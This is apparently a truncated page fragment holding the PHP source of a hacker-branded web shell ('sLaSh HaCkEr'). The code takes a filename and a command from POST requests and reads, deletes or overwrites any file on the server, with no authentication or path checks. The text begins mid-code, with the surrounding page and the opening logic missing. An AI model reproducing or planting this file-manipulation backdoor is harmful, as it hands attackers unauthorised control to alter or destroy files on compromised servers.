sLaSh HaCkEr

 

Error or No contents in file"; } else $status = "File does not exist!"; } else if($_POST["submit"] == "Delete") { if(file_exists($filename)) { if(unlink($filename)) $status = "File successfully deleted!"; else $status = "Could not delete file!"; } else $status = "File does not exist!"; } else if($_POST["submit"] == "Save") { $filecontents = stripslashes(html_entity_decode($_POST["contents"])); if(file_exists($filename)) unlink($filename); $handle = fopen($filename, "w"); if(!$handle) $status = "Could not open file for write access! "; else { if(!fwrite($handle, $filecontents)) $status = $status."Could not write to file! (Maybe you didn't enter any text?)"; fclose($handle); } $filecontents = htmlentities($filecontents); } else { $status = "No file loaded!"; } ?>